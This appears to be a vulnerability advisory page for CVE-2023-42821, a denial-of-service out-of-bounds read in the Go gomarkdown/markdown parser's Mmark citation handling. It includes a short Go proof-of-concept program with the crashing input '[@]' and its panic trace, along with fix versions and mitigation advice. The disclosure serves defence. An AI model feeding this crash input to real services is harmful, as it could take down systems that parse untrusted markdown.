CVE-2023-42821 is a high-severity (CVSS 7.5) Out-of-bounds Read vulnerability in github.com/gomarkdown/markdown. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for github.com/gomarkdown/markdown — see the affected versions and patch details below.
github.com/gomarkdown/markdown Out-of-bounds Read while parsing citations
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2023-42821.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/gomarkdown/markdownReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability.
Details
To exploit the vulnerability, parser needs to have parser.Mmark extension set. The panic occurs inside the citation.go file on the line 69 when the parser tries to access the element past its length.
PoC
package main
import (
"github.com/gomarkdown/markdown"
"github.com/gomarkdown/markdown/parser"
)
func main() {
ext := parser.CommonExtensions |
parser.Attributes |
parser.OrderedListStart |
parser.SuperSubscript |
parser.Mmark
p := parser.NewWithExtensions(ext)
inp := []byte("[@]")
markdown.ToHTML(inp, p, nil)
}
$ go run main.go
panic: runtime error: index out of range [1] with length 1
goroutine 1 [running]:
github.com/gomarkdown/markdown/parser.citation(0x10?, {0x1400000e3f0, 0x14000141801?, 0x3}, 0x0?)
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/citation.go:69 +0x544
github.com/gomarkdown/markdown/parser.link(0x14000152000?, {0x1400000e3f0?, 0x3?, 0x3?}, 0x14000141ad8?)
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/inline.go:308 +0x1c0
github.com/gomarkdown/markdown/parser.(*Parser).Inline(0x14000152000, {0x102d87f48, 0x14000076180}, {0x1400000e3f0, 0x3, 0x3})
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/inline.go:38 +0xb8
github.com/gomarkdown/markdown/parser.(*Parser).Parse.func1({0x102d87f48?, 0x14000076180}, 0x0?)
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/parser.go:307 +0x8c
github.com/gomarkdown/markdown/ast.NodeVisitorFunc.Visit(0x140000106e0?, {0x102d87f48?, 0x14000076180?}, 0x68?)
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:574 +0x38
github.com/gomarkdown/markdown/ast.Walk({0x102d87f48, 0x14000076180}, {0x102d87348, 0x140000106e0})
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:546 +0x58
github.com/gomarkdown/markdown/ast.Walk({0x102d877b0, 0x14000076120}, {0x102d87348, 0x140000106e0})
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:557 +0x144
github.com/gomarkdown/markdown/ast.WalkFunc(...)
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:580
github.com/gomarkdown/markdown/parser.(*Parser).Parse(0x14000152000, {0x1400000e3f0?, 0x0?, 0x0?})
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/parser.go:304 +0x16c
github.com/gomarkdown/markdown.Parse({0x1400000e3f0?, 0x3f?, 0x14000141e38?}, 0x102c6b43c?)
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/markdown.go:53 +0x6c
github.com/gomarkdown/markdown.ToHTML({0x1400000e3f0?, 0x0?, 0x60?}, 0x0?, {0x0, 0x0})
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/markdown.go:77 +0x30
main.main()
/Users/demon/tools/markdown_cve_poc/main.go:17 +0x5c
exit status 2
Impact
Denial of Service / panic
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/gomarkdown/markdown | all versions | 0.0.0-20230922105210-14b16010c2eego get github.com/gomarkdown/markdown@v0.0.0-20230922105210-14b16010c2ee |
Affected Products
markdowngomarkdownResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gomarkdown/markdown, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/gomarkdown/markdown to 0.0.0-20230922105210-14b16010c2ee or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-42821 is resolved across your whole dependency graph.
Workarounds
Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.
Frequently Asked Questions
Is CVE-2023-42821 in your dependencies?
Find it across Go, including transitive dependencies.